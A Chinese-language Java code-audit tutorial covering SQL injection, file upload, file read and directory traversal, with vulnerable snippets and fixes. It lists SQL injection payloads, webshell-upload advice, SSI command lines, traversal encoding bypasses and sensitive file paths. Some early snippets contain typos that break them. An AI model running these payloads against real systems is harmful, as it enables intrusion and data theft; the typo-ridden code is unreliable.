参考文章:Java代码审计:从入门到实战,全方位保障应用安全 – 软件职业规划 – 博客园
SQL注入漏洞
同php中的sql注入原理类似,java的sql注入原理也是发生在下面两个条件之下:
(1)输入用户可控。
(2)直接或间接拼入SQL语句执行。
审计方法
对于SQL注入漏洞审计,常见的方法是,直接找到sqlmapper.xml文件 或者 直接搜索 select、update、delete、insert “String sql=”等关键词,定位SQL xml配置文件 或者 存在SQL语句的程序片段,随后通过查看SQL语句中是否存在变量的引用并跟踪变量是否可控。其中若存在 $ 进行参数拼接,则也有SQL注入风险
因SQL注入漏洞特征性较强,在实际的审计过程中我们可以通过自动化审计工具快速地发现代码片段。
Java中SQL的执行方式
- 使用JDBC的java.sql.Statement执行SQL语句
- 使用JDBC的java.sql.PreparedStatement执行SQL语句
- 使用MyBatis执行SQL语句
- 使用Hibernate执行SQL语句
1、Statement是Java JDBC下执行SQL语句的一种原生方式,执行语句时需要通过拼接来执行且每次都要进行编译。若不对输入做过滤会导致 SQL 注入漏洞。而 PrepareStatement 进行预编译参数化查询能够有效防止 SQL 注入且速度更快。通过搜索这两个类的调用并进行审计,从而检查出漏洞是否存在。但要注意的是Java 预编译查询中不会对 % 和_进行转义处理,而 % 和_是 like 查询的通配符,不做相关过滤可能导致恶意模糊查询
案例:
#注册驱动
Class.forName("com.mysql.cj,jdbc.Driver");
#Connection获取连接
coon = DriverManager.getConnection("jdbc:mysql://192.168.88.20:3306/iwebsec?&useSSL=false&serverTimezone=UTC","root","root)";
String id ="2";
String sql ="select* from user where id ="+id;
#创建Statement对象
ps = conn.createStatement();
#执行SQL
rs = ps.executeQuery(sql);
while(rs.next())
{
System.out.println("id:"+rs,getlnt("id")+"usermame:"+rs.getString("username")+"password:"+rs.getString("password");
}
2、PreparedStatement是继承statement的子接口,包含已编译的SQL语句。PreparedStatement会预处理SQL语句。,SQL语句可具有一个或多个IN参数。IN参数的值在SQL语句创建时未被指定,而是为每个IN参数保留一个问号(?)作为占位符。每个问号的值,必须在该语句执行之前通过适当的setXXX方法来提供。如果是int型则用setInt方法,如果是string型则用setString方法。
案例:
//注册驱动
Class. forName("oracle.jdbc.driver.0racleDriver");
//获取连接
Connection conn =DriverManager.getConnection(DBURL,DBUser,DBPasWord);
//实例化 PreparedStatement对象
String sql= "SELECT * FROM user WHERE id= ?";
PreparedStatement preparedStatement = connection.prepareStatement(sql)
//设置占位符为 id变量
preparedStatement.setlnt(1,id);
//执行 SQL语句
ResultSet resultSet = preparedStatement.executeOuery();
3、MyBatis是一个Java持久化框架,它通过XML描述符或注解把对象与存储过程或SQL语句关联起来,它支持自定义SQL、存储过程以及高级映射。MyBatis封装了几乎所有的JDBC代码,可以完成设置参数和获取结果集的工作。MyBatis可以通过简单的XML或注解将原始类型、接口和JavaPOJO(Plain Old Java Objects,普通老式Java对象)配置并映射为数据库中的记录。
Mybatis获取值的方式有两种,分别是${}
和 #{}
- #{}:解析的是占位符问号,可以防止SQL注入,使用了预编译,类似JDBC 中的PreparedStatement。比如:
select * from user where id = #{number}
,如果传入数值为1,最终会被解析成select *from user where id = "1"
。但也是因此它在使用 order by、like、in 查询时会报错 - ${}:对传入的参数不做处理,直接拼接,进而会造成SQL 注入漏洞。比如: select * from user where id = ${number} ,如果传入数值为1,最终会被解析成
select * from user where id = 1
- 因此Mybatis里面一般会采用
#{}
来进行取值
此外like、in和order by语句也需要使用#,挖掘技巧则是在注解中或者Mybatis相关的配置文件中搜索 $。
4、Hibernate典型的注入代码为:
session.createQuery("from Book wheretitle like '%" + userInput + "%' and published = true")
或者形如:
{
StringBuffer queryString = newStringBuffer();
queryString.append(“from Test where id=’”);
queryString.append(id);
queryString.append(‘\’’);
}
定位此框架的SQL注入首先需要在xml配置文件或import包里确认是否使用此框架,然后使用关键字createQuery,session.save(,session.update(,session.delete进行定位。
SQL语句参数直接动态拼接
该类SQL是最明显的,直接不做任何处理将参数直接拼接在SQL语句中。
例如:
private static final String DBDriver = "oracle,jdbc.driver.0racleDriver";//驱动
private static final String DBURL = "dbc:oracle:thin:@127.0.0.1:1521:XE";//URL 命名规则;jdbc:oracle:thin:@IP 地址:端口号:数据库实例名
private static final String DBUser = "IWEBSEC";
private static final String DBPassWord = "IWEBSEC";
Connection con = null;
Statement st = null;
ResultSet res = null;
try{
//连接
Class.forName(DBDriver);//加载数据库驱动
con = DriverManager.getConnection(DBURL,DBUser, DBPassWord);//连接
st = con.createStatement0):
String id=request.getParameter("id");
res = st.executeQuery("SELECT* FROM\"IWEBSEC\".\"user\" WHERE \"id\"="+id);
while(res.next0)
{
int p = res.getInt("id");
String n = res.getString("username");
String s = res.getString("password");
}
catch (Exception e){
out.println(e);
}
上述代码首先加载数据库驱动,然后进行数据库的连接,通过“request.getParameter(“id”)”获取了传入id的值,并通过
““SELECT*FROM”IWEBSEC”.“user” WHERE”id”=”+id”直接进行了SQL语句的拼接,然后通过st.executeQuery执行SQL语句。此代码id参数可控并且进行SQL语句的拼接,存在明显SQL注入漏洞。可以使用各类型的SQLpayload进行验证。
定位关键词如下:
Select|insert|update|delete|java.sql.Connection|Statement|.execute|.executeQuery|jdbcTemplate|queryForInt|queryForObject|queryForMap|getConnection|PreparedStatement|Statement|execute|jdbcTemplate|queryForInt|queryForObject|queryForMap|executeQuery|getConnection
错误的预编译
使用PrepareStatement执行SQL语句是因为预编译参数化查询能够有效地防止SQL注入,但是很多开发者因为个人开发习惯的原因,没有按照PrepareStatement正确的开发方式进行数据库连接查询,在预编译语句中使用错误编程方式,那么即使使用了SQL语句拼接的方式,同样也会产生SQL注入漏洞,例如
Class.forName("com.mysql.cj;jdbe.Driver");
conn = DriverManager.getConnection("jdbc:mysql://192.168.88.20:3306/iwebsec?&useSSL=false&serverTimezone=UTC","root","root");
String usemame="user%' or '1'='1'#";
String id ="2";
String sql="SELECT*FROM user where id =?";
if (!CommonUtils.isEmptyStr(usemame))
sql+="and usemame like "%" + userame + "%";
System.out.println(sql);
PreparedStatement preparedStatement = conn.preparesStatement(sql);preparedStatement.setString(l,id);
rs = preparedStatement.executeQuery(0)
虽然id参数正确的使用了PrepareStatement预编译进行SQL查询,但是后面的username使用了SQL语句拼接的方式sql+=“and username like’%”+username+“%’;”,将username参数进行了拼接,这样导致了SQL注入漏洞的产生。传入的username值为“user%‘or’1’=‘1’#” 即可获取所有值。
order by注入
有些特殊情况下不能使用PrepareStatement,比较典型的就是使用order by子句进行排序。order by子句后面需要加字段名或者字段位置,而字段名是不能带引号的,否则就会被认为是一个字符串而不是字段名。PrepareStatement是使用占位符传入参数的,传递的字符都会有单引号包裹,“ps.setString(1,id)”会自动给值加上引号,这样就会导致order by子句失效。
其实不是不能在Order By上使用预编译,而是使用后Order By就会错误,起不了排序的作用了
例如:正常的order by子句为“SELECT*FROM user order by id;” 当使用order by子句进行查询时,需要使用字符拼接的方式,在这种情况下就有可能存在SQL注入。
典型代码如下
Clas.forName("com.mysql.cjdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://192.168.88.20:3306/websec?&useSSL=false&serverTimezone=UTC","root","root");
String id ="2 or 1=1";
String sql = "SELECT * FROM user "+" order by "+id;
System.out.printin(sql);
PreparedStatement preparedStatement = conn.prepareStatement(sql);
rs = preparedStatement.executeQuery();
因为order by后面只能跟字符,所以这里在进行预编译处理后,会变成String sql = “SELECT * FROM user order by 2 or 1=1″,从而导致order by无法识别爆出表user的全部信息。但如果这里使用预编译PreparedStatement来进行防止SQL注入,则会出现如下情况:
String sql = "select * from users order by ?";
PreparedStatement preparedStatement = connection.prepareStatement(sql);
preparedStatement.setString(1, id);
ResultSet resultSet = preparedStatement.executeQuery();
当用户输入1或者username的时候,经过preparedStatement.setString(1, id)后,会自动添加单引号,导致最终的拼接语句变成了select * from users order by ‘1’或者select * from users order by ‘username’ 这样导致被传入的参数被解析成字符串,不能进行order by的查询,导致order by排序不生效。
常见的order by 注入手法:
order by if(表达式,1,sleep(1))
order by rand(表达式)
order by updatexml(1,if(1=2,1,(表达式)),1)
order by extractvalue(1,if(1=2,1,(表达式)));
当初一个绕雷池waf的payload:order=DATABASE() like 'sqlidemo' and sleep(10)
因此使用order by 是能够绕过预编译的,该绕过只能手动进行过滤。mybatis也是同样的道理。
CASE WHEN 语句绕过order by 注入预编译
SQL注入——预编译CASE注入_预编译sql依然有注入-CSDN博客
%和_ 绕过预编译(Like注入)
like语句一般用来在一个字符型字段列中检索包含对应字串的,例如
select * from users where username like admin
同样的,使用like语句进行查询时也不能使用占位符#{}或者是
preparedStatement来进行预编译处理,否则like字段紧跟的字符就会被转为’admin’ ,导致sql无法识别从而使查询出现报错。所以使用like ,也能进行注入。典型的漏洞代码如下:
<select id="getUser" parameterType="java.lang.String" resultType="user.NewUserDO">
select * from user_table where username like '%#{username}%'
</select>
改代码使用了预编译会导致查询报错,一般程序员可能就会改用 ${}导致直接拼接没有进行过滤而产生注入漏洞。
<select id="getUser" parameterType="java.lang.String" resultType="user.NewUserDO">
select * from user_table where username like '%${username}%'
</select>
安全写法应该采用CONCAT 函数连接通配符:
<select id="getUser" parameterType="java.lang.String" resultType="user.NewUserDO">
select * from user_table where username like concat('%',#{username},'%')
</select>
常用的like注入:
原语句:SELECT * FROM users WHERE username LIKE '%$input%'
注入语句:' OR '1'='1# 注入后变成SELECT * FROM users WHERE username LIKE '%' OR '1'='1#%'
%' OR 1=1 #
%' AND 1=0 UNION SELECT 1,user(),3,4 #
%' UNION SELECT 1,database(),3,4 #
%' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 #
%' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users' LIMIT 0,1 #
%'%df OR 1=1 # 宽字节注入
带有 IN 谓词的查询
in语句常用于where 表达式中,其作用是查询某个范围内的数据,例如:
select * from where field in (value1,value2,value3,…);
如上述代码,in在查询某个范围时可能会用到不止一个参数,在mybatis中如果直接使用占位符#{}
会将这些参数value1,value2看作一个整体 ,导致查询报错。因此开发可能为了完成正常功能而不引起报错直接使用拼接符${}
进行查询,从而出现sql注入,例如:
<select id="getUser" parameterType="java.lang.String" resultType="user.NewUserDO">
select * from user_table where username in (${usernames})
</select>
payload:http://127.0.0.1:8088/sqli/mybatis/in?params=if(ascii(mid((select database()),1,1))<96,1,2)
此种情况下,安全的做法应当使用 foreach 标签:
<select id="getUserFromList" resultType="user.NewUserDO">
select * from user_table where username in
<foreach collection="list" item="username" open="(" separator="," close=")">
#{username}
</foreach>
</select>
修复方式
1、表、字段名称
(Select,Order by,Group by等)
// 插入数据用户可控时,应使用白名单处理
String orderBy = "{user input}";
String orderByField;
switch (orderBy) {
case "name":
orderByField = "name";break;
case "age":
orderByField = "age"; break;
default:
orderByField = "id";
}
2、JDBC
String name = "foo";
// 一般查询场景
String sql = "SELECT * FROM users WHERE name = ?";
PreparedStatement pre = conn.prepareStatement(sql);
pre.setString(1, name);
ResultSet rs = pre.executeQuery();
// like 模糊查询场景
String sql = "SELECT * FROM users WHERE name like ?";
PreparedStatement pre = conn.prepareStatement(sql);
pre.setString(1, "%"+name+"%");
ResultSet rs = pre.executeQuery();
// where in 查询场景
String sql = "select * from user where id in ?";
// 定义一个 Integer 数组,包含需要查询的 id 值
Integer[] ids = new Integer[]{1,2,3};
// 使用 StringBuilder 构建动态 SQL,以提高字符串拼接的效率
StringBuilder placeholderSql = new StringBuilder(sql);
// 遍历 ids 数组,动态构建 SQL 中的占位符部分
for(int i = 0, size = ids.length; i < size; i++) {
// 添加一个占位符 '?'
placeholderSql.append("?");
// 如果当前不是最后一个元素,则添加逗号分隔符
if (i != size - 1) {
placeholderSql.append(",");
}
}
// 遍历完成后,补上右括号,完成 SQL 的构造
placeholderSql.append(")");
// 使用动态生成的 SQL 创建一个 PreparedStatement 对象
PreparedStatement pre = conn.prepareStatement(placeholderSql.toString());
// 再次遍历 ids 数组,将每个 id 的值绑定到 SQL 的对应占位符上
for(int i = 0, size = ids.length; i < size; i++) {
// `setInt` 方法用于设置 SQL 中的占位符值,索引从 1 开始(数据库规范)
pre.setInt(i + 1, ids[i]);
}
// 执行 SQL 查询,将结果存储到 ResultSet 对象中
ResultSet rs = pre.executeQuery();
3、Spring-jdbc
JdbcTemplate jdbcTemplate = new JdbcTemplate(app.dataSource());
// 一般查询场景
String sql = "select * from user where id = ?";
Integer id = 1;
// 使用 Spring 的 JdbcTemplate 执行查询,将结果映射为 UserDO 实例
UserDO user = jdbcTemplate.queryForObject(sql, BeanPropertyRowMapper.newInstance(UserDO.class), id);
// like 模糊查询场景
String sql = "select * from user where name like ?";
String like_name = "%" + "foo" + "%";
UserDO user = jdbcTemplate.queryForObject(sql, BeanPropertyRowMapper.newInstance(UserDO.class), like_name);
// where in 查询场景
NamedParameterJdbcTemplate namedJdbcTemplate = new NamedParameterJdbcTemplate(app.dataSource());
MapSqlParameterSource parameters = new MapSqlParameterSource();
parameters.addValue("names", Arrays.asList("foo", "bar"));
String sql = "select * from user where name in (:names)";
List<UserDO> users = namedJdbcTemplate.query(sql, parameters, BeanPropertyRowMapper.newInstance(UserDO.class));
4、Mybatis XML Mapper
<!-- 一般查询场景 -->
<select id="select" parameterType="java.lang.String" resultMap="BaseResultMap">
SELECT *
FROM user
WHERE name = #{name}
</select>
<!-- like 查询场景 -->
<select id="select" parameterType="java.lang.String" resultMap="BaseResultMap">
SELECT *
FROM user
WHERE name like CONCAT("%", #{name}, "%")
</select>
<!-- where in 查询场景 -->
<select id="select" parameterType="java.util.List" resultMap="BaseResultMap">
SELECT *
FROM user
WHERE name IN
<foreach collection="names" item="name" open="(" close=")" separator=",">
#{name}
</foreach>
</select>
5、Mybatis Criteria
public class UserDO {
private Integer id;
private String name;
private Integer age;
}
public class UserDOExample {
// auto generate by Mybatis
}
UserDOMapper userMapper = session.getMapper(UserDOMapper.class);
UserDOExample userExample = new UserDOExample();
UserDOExample.Criteria criteria = userExample.createCriteria();
// 一般查询场景
criteria.andNameEqualTo("foo");
// like 模糊查询场景
criteria.andNameLike("%foo%");
// where in 查询场景
criteria.andIdIn(Arrays.asList(1,2));
List<UserDO> users = userMapper.selectByExample(userExample);
6、使用ORM框架
ORM(对象关系映射)框架通过将数据库操作封装为对象,使得开发者不直接操作SQL语句,进而减少了SQL注入的风险。常见的Java ORM框架如Hibernate、MyBatis等,都提供了自动的SQL语句构建方式,避免了手动拼接SQL语句。
7、输入校验与过滤
对用户输入进行严格的校验和过滤,是防止SQL注入的重要手段。首先,要确保所有用户输入的内容符合预期格式,例如通过正则表达式验证输入是否为字母、数字等合法字符。其次,对于特殊字符如单引号(’)、双引号(”)、分号(;)、注释符号(–)等,应进行转义处理,或者完全禁止这些字符的输入。
任意文件上传漏洞
对于文件上传功能进行代码审计时,主要关注整个上传流程对上传文件做了什么操作,有没有相应的限制
需要关注的几点:
- SpringBoot对JSP的限制
- 文件后缀名是否存在白名单
- 文件类型是否存在白名单
- 所保存的路径是否能解析JSP
- 文件头检测
常见的上传方式:
public String fileUpload(@RequestParam("file") CommonsMulpartFile file) throws IOException{
long startTime = System.currentTimeMillis();
System.out.println("fileName: "+file.getOriginalFilename());
try{
OutputStream os = new FileOutputStream("/tmp"+newDate().getTime()+file.getOriginalFilename());
InputStream is = file.getInputStream();
int temp;
while((temp = is.read())!=(-1))
{
os.write(temp);
}
os.flush();
os.close();
is.close();
} catch(FileNotFoundException e){
e.printStackTrace();
}
return "/success";
}
通过 ServletFileUpload 方式上传:
String realPath = this.getServletContext().getRealPath("/upload");
String tempPath = "/tmp";
File f = new File(realPath);
if(!f.exists()&&!f.isDirectory()){
f.mkdir();
}
File f1 = new File(tempPath);
if(!f1.isDirectory)){
f1.mkdir();
}
DiskFileUploadItemFactory factory = new DiskFileItemFactory();
factory.setRepository(f1);
ServletFileUpload upload = new ServletFileUpload(factory);
upload.setHeaderEncoding("UTF-8");
if(!ServletFileUpload.isMultipartContent(req)){ return; }
List<FileItem> items = upload.parseRequest(req);
for(FileItem item:items){
if(item.isFormField()){
String filedName = item.getFieldName();
String filedValue = item.getString("UTF-8");
}
else{
String filedName = item.getName();
if(fileName == null || "".equals(fileName.trim())){ continue; }
fileName = fileName.substring(fileName.lastIndexOf("/")+1);
String filePath = realPath+"/"+fileName;
InputStream in = item.getInputStream();
OutputStream out = new FileOutputStream(filePath);
byte b[] = new byte[1024];
int len = -1;
while((len=in.read(b)))!=-1){
out.write(b,0,len);
}
out.close();
in.close();
try{
Thread.sleep(3000);
} catch(InterruptedException e){
e.printStackTrace();
}
item.delete();
通过 MultipartFile 方式上传:
public String handleFileUpload(@RequestParam("file") MultipartFile file){
if(file.isEmpty()){
return "请上传文件";
}
//获取文件名
String fileName = file.getOriginalFilename();
String suffixName = fileName.substring(fileName.indexOf("."));
String filePath = "/tmp";
File dest = new File(filePath+fileName);
if(!dest.getParentFile().exists()){
dest.getParentFile().mkdirs();
}
try{
file.transferTo(dest);
return "上传成功";
} catch(IllegalStateException e){
e.printStackTrace();
} catch(IOException e){
e.printStackTrace();
}
return "上传失败";
}
审计总结:(检查前后端是否存在后缀过滤不全和读取后缀方式错误等)
- org.apache.commons.fileupload
- java.io.File
- MultipartFile
- RequestMethod
- MultipartHttpServletRequest
- CommonsMultipartResolver
- File
- FileUpload
- FileUploadBase
- FileItemIteratorImpl
- FileItemStreamImpl
- FileUtils
- UploadHandleServlet
- FileLoadServlet
- FileOutputStream
- DiskFileItemFactory
- MultipartRequestEntity
- MultipartFile
- com.oreilly.servlet.MultipartRequest
SpringBoot 对 JSP 的限制
常见的springboot项目应该都是不适配jsp的,多少也无法解析jsp文件,因为官方也不提倡springboot使用jsp,并对此做了相关限制。要想在SpringBoot中使用JSP,需要引入相关的依赖,自建WEB-INF,web.xml 等操作。可以参考文章:https://blog.csdn.net/weixin_43122090/article/details/103866174
不过这样操作也相应地失去了一些springboot的特性,当我们进行代码审计想快速知道项目是否能解析JSP时,可以查看例如pom.xml相关文件是否引入了相关的jsp依赖
<!--用于编译jsp-->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<scope>provided</scope>
</dependency>
如果目标项目存在jsp依赖并且有文件上传漏洞,就可以通过文件上传漏洞上传jsp木马获取webshell
校验文件类型
1、文件名后缀检验
如果后端没有对后缀名进行限制,或者各种黑白名单存在可绕过的缺陷,这样可能有利于我们进行进一步的漏洞利用,上传jsp木马等,各种可能的限制情景的绕过与php中的文件上传绕过原理都大差不差。当然也可能出现没有任何文件名后缀校验的情况,比如采用直接拼接的方式。
2、文件后缀名校验黑白名单
有时后端会对后缀名启用了黑白名单。
对于白名单:除了代码写得check逻辑可能出现问题,导致不符合白名单的后缀也可以绕过,不然就只能遵循白名单上传指定的后缀名文件了。
对于黑名单:可以通过fuzz,得到具体ban了哪些后缀,之后尝试找到能够正常解析代码的后缀例如jsp、asp等后缀,绕过黑白单限制去获取webshell
语言 | 可解析后缀 |
---|---|
asp/aspx | asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr |
php | php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml |
jsp | jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml |
3、MIME type 检测
校验文件类型还有一种方式检测MIME Type。也就是我们在请求中常见的 Content-Type 字段。如果项目中使用 MIME type 黑白名单检测文件类型,可以分析黑白名单中是否有遗漏的敏感文件类型。这与在PHP中也无太大差异。
文件名操作
常见的情况是后端直接接受保存我们上传的文件名,也有可能是后端自定义的文件名比如使用UUID
String originalFileName = file.getOriginalFilename();
String extension = originalFileName.substring(originalFileName.la
stIndexOf('.'));
String fileName = UUID.randomUUID() + extension;
还有的会根据上传时的时间戳来命名上传文件,虽然将文件名随机命名可以增加一些攻击利用难度。但并没有直接修复任意文件上传漏洞。有时候上传后的文件路径和文件名会直接在相应包给出来。例如:文件上传木马后,响应包未给出相应路径,但通过svn泄露,可以尝试脱下部分代码及路径,根据泄露的路径推断出文件上传保存的路径
保存路径
如果木马能顺利上传,我们还需要关注木马是否保存在本地,还是云端,保存路径能否被解析成对应的语言
1、是否保存在本地
现在很多项目可以说是都在向云服务器迁移,并且对数据,文件做了隔离。不同的的场景应用不同的存储服务器。
后端在对上传文件保存时无非要么是保存在服务器本地,要么保存在相关云存储服务器。比如:阿里云oss等
如果文件是保存在oss存储桶的话是无法解析你上传的webshell的,顶多上传html打xss或者覆盖原有页面钓session,除了html,还有一种文件在特殊场景下会被利用呢?那就是shtml。现在大多数Web服务已经很少用到SSI了,但是偶尔还是能碰碰运气的。
shtml文件(还有stm、shtm文件)就是应用了SSI技术的html文件,SSI在HTML文件中,可以通过注释行调用命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
<!--#include file="/home/www/user7511/nav_foot.htm"--> //可以用来读文件
<!--#exec cmd="ifconfig"--> //可以用来执行命令
<!--#include virtual="/includes/header.html" --> //也是读文件 与FILE不同他支持绝对路径和../来跳转到父目录 而file只能读取当前目录下的
详情可以参考这篇文章:SSI注入–嵌入HTML页面中的指令,类似jsp、asp
2、是否解析
例如当/aaa目录可以解析jsp文件,那当我们将jsp木马上传到该目录下,并且能成功访问,就可以获取到webshell
还有可能是上传到了本地,但该路径不会被解析,同样也是无法获取webshell的
如果所保存文件的地址可能是一个不可执行不可解析权限非常低的目录,尽管我们将WebShell 上传到了目标服务器,那么也因无法解析执行而无功而返。
在获取文件名后,大多会进行路径拼接操作。在这里我们可以检查拼接路径是有相关防护,如果没有限制 ../
那么极有可能存在目录穿越漏洞。
参考:Java代码审计-路径遍历、漏洞修复-代码案例 – Jayus_F – 博客园
如果保存图片的地址是非解析目录,我们可以配合目录穿越漏洞操作WebShell 存储到其他地方,例如下面这个项目,项目中路径使用了直接拼接的方式,并且没有任何防护。
String fileName = file.getOriginalFilename();
String filePath = path + fileName;
修复/防御措施
- 列出允许的扩展。只允许业务功能的安全和关键扩展
- 确保在验证扩展名之前应用输入验证。
- 验证文件类型,不要相信Content-Type 头,因为它可以被欺骗。
- 将文件名改为由应用程序生成的文件名
- 设置一个文件名的长度限制。如果可能的话,限制允许的字符
- 设置一个文件大小限制
- 只允许授权用户上传文件
- 将文件存储在不同的服务器上。如果不可能,就把它们存放在webroot 之外。
- 在公众访问文件的情况下,使用一个处理程序,在应用程序中被映射到文件名(someid -> file.ext)。
- 通过杀毒软件或沙盒(如果有的话)运行文件,以验证它不包含恶意数据。
- 确保任何使用的库都是安全配置的,并保持最新。
- 保护文件上传免受CSRF 攻击
任意文件读取/下载漏洞
首先是确定功能是否存在文件读取/下载功能,其次是分析文件参数是否可控,再其次分析路径是否可控,如果存在路径限制则尝试绕过,最终经过一系列分析确定是否存在任意文件读取/下载漏洞。
任意文件读取/下载漏洞代码审计本身不难,确定了功能点后,如果后端直接接受前端传来的文件名,没有对路径做限制,那大概率存在任意文件读取/下载漏洞。当然具体情况还得具体分析。
如果存在路径限制,这部分属于目录穿越漏洞范畴了
确定功能点
确定目标系统是否存在读取或下载功能方式很多。可以通过阅读使用手册,官方文档,部署环境后前端定位功能,后端关键字查找。
org.apache.commons.io.FileUtils
org.springframework.stereotype.Controller
import java.nio.file.Files
import java.nio.file.Path
import java.nio.file.Paths
import java.util.Scanner
sun.nio.ch.FileChannelImpl
java.io.File.list/listFiles
java.io.FileInputStream
java.io.FileOnputStream
java.io.FileSystem/Win32FileSystem/WinNTFileSystem/UnixFileSystem
sun.nio.fs.UnixFileSystemProvider/WindowsFileSystemProvider
java.io.RandomAccessFile
sun.nio.fs.UnixChannelFactory
sun.nio.fs.WindowsChannelFactory
java.nio.channels.AsynchronousFileChannel
FileUtil/IOUtil
BufferedReader
readAllBytes
scanner
这些关键字不仅仅能定位到文件读取或下载操作,可能还会涉及到一些比如文件删除,文件移动,文件遍历等操作
文件参数可控
后端接受前端传来的文件名,并未有其他的处理逻辑,这意味着文件名可由我们前端输入来控制
路径无限制
例如如下代码:
@RequestMapping("/IoBufferedReader")
public void IoBufferedReader(String filename, HttpServletResponse response) throws Exception {
File file = new File(filename);
FileInputStream fileInputStream = new FileInputStream(file);
InputStreamReader inputStreamReader = new InputStreamReader(fileInputStream, StandardCharsets.UTF_8);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
System.out.println("使用BufferedReader :");
boolean resset= true;
if (resset) {
response.reset();
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment;filename=" + URLEncoder.encode(filename, "UTF-8"));
}
String line;
PrintWriter writer = response.getWriter();
while ((line = bufferedReader.readLine()) != null) {
writer.println(line);
}
bufferedReader.close();
inputStreamReader.close();
}
整个代码对于路径并没有任何额外的处理,可以确定存在任意文件读取漏洞
但在实际环境,可能会遇到各种限制及验证,例如判断文件名是否为空,是否存在该文件和限制可读取文件的路径等操作,有时候会以下列方式设置读取/下载文件目录:但这样如果没有过滤../
还是可以结合目录穿越来达到任意文件读取的
String path = "C:\\Users\\hey\\Desktop\\";
String filePath = path + fileName;
修复
1、限定允许读取目录,必要情况后端写死指定读取文件,视具体功能而定
2、做好读取白名单
3、过滤./.等目录穿越payload黑名单
4、进行鉴权,权限划分,避免越权读取文件
目录穿越
原理就不多讲了,本质就是没有对传入的文件名进行过滤,从而导致攻击者可通过使用 ../
等方式进行目录穿越,一旦涉及文件的读取问题便会涉及 java.io.File 类,审计时优先查找 java.io.File 类的调用,判断 Paths、path、System.getProperty (“user.dir”) 等可能会用来构造路径的关键字
示例代码:
package com.best.hello.controller;
import com.best.hello.util.Security;
import io.swagger.annotations.Api;
import io.swagger.annotations.ApiOperation;
import org.apache.commons.io.IOUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.List;
/**
* @date 2021/07/15
*/
@Api("目录遍历")
@RestController
@RequestMapping("/Traversal")
public class Traversal {
Logger log = LoggerFactory.getLogger(Traversal.class);
@ApiOperation(value = "vul:任意文件下载")
@GetMapping("/download")
public String download(String filename, HttpServletResponse response) {
// 下载的文件路径
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
log.info("[vul] 任意文件下载:" + filePath);
try (InputStream inputStream = new BufferedInputStream(Files.newInputStream(Paths.get(filePath)))) {
response.setHeader("Content-Disposition", "attachment; filename=" + filename);
response.setContentLength((int) Files.size(Paths.get(filePath)));
response.setContentType("application/octet-stream");
// 使用 Apache Commons IO 库的工具方法将输入流中的数据拷贝到输出流中
IOUtils.copy(inputStream, response.getOutputStream());
log.info("文件 {} 下载成功,路径:{}", filename, filePath);
return "下载文件成功:" + filePath;
} catch (IOException e) {
log.error("下载文件失败,路径:{}", filePath, e);
return "未找到文件:" + filePath;
}
}
@ApiOperation(value = "vul:任意路径遍历")
@GetMapping("/list")
public String fileList(String filename) {
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
log.info("[vul] 任意路径遍历:" + filePath);
StringBuilder sb = new StringBuilder();
File f = new File(filePath);
File[] fs = f.listFiles();
if (fs != null) {
for (File ff : fs) {
sb.append(ff.getName()).append("<br>");
}
return sb.toString();
}
return filePath + "目录不存在!";
}
@ApiOperation(value = "safe:过滤../")
@GetMapping("/download/safe")
public String safe(String filename) {
if (!Security.checkTraversal(filename)) {
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
return "安全路径:" + filePath;
} else {
return "检测到非法遍历!";
}
}
}
代码中并未对输入的文件名进行相关过滤,也无相关黑白名单配置,仅仅是将它与路径直接拼接,导致了整个路径可控,从而触发目录穿越
String filePath = System.getProperty("user.dir") + "/logs/" + filename;
目录穿越漏洞绕过方式
目录穿越的payload遇到waf一般都是寄中寄,但对于后端写了相关限制的黑盒场景下还是可以试试如下的payload的,说不定有意想不到的惊喜
1、单次的URL 编码, ../
结果为: ..%2F
, %2E%2E%2F
2、URL 双重编码
. = %252e
/ = %252f
\ = %255c
3、URL Unicode编码
. = %u002e
/ = %u2215
\ = %u2216
4、URL UTF-8 与 超长UTF-8 编码
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
5、空字节截断 %00截断
即空字节URL编码绕过,用于对一些判断后缀名的绕过,
../../../../../passwd%00.jpg
6、双重 ../
仅做一次判断删除或替换 ../
情况下,可使用 ..././
方式绕过
%u002e%u002e%u2215
相关敏感文件
1、Windows:
C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
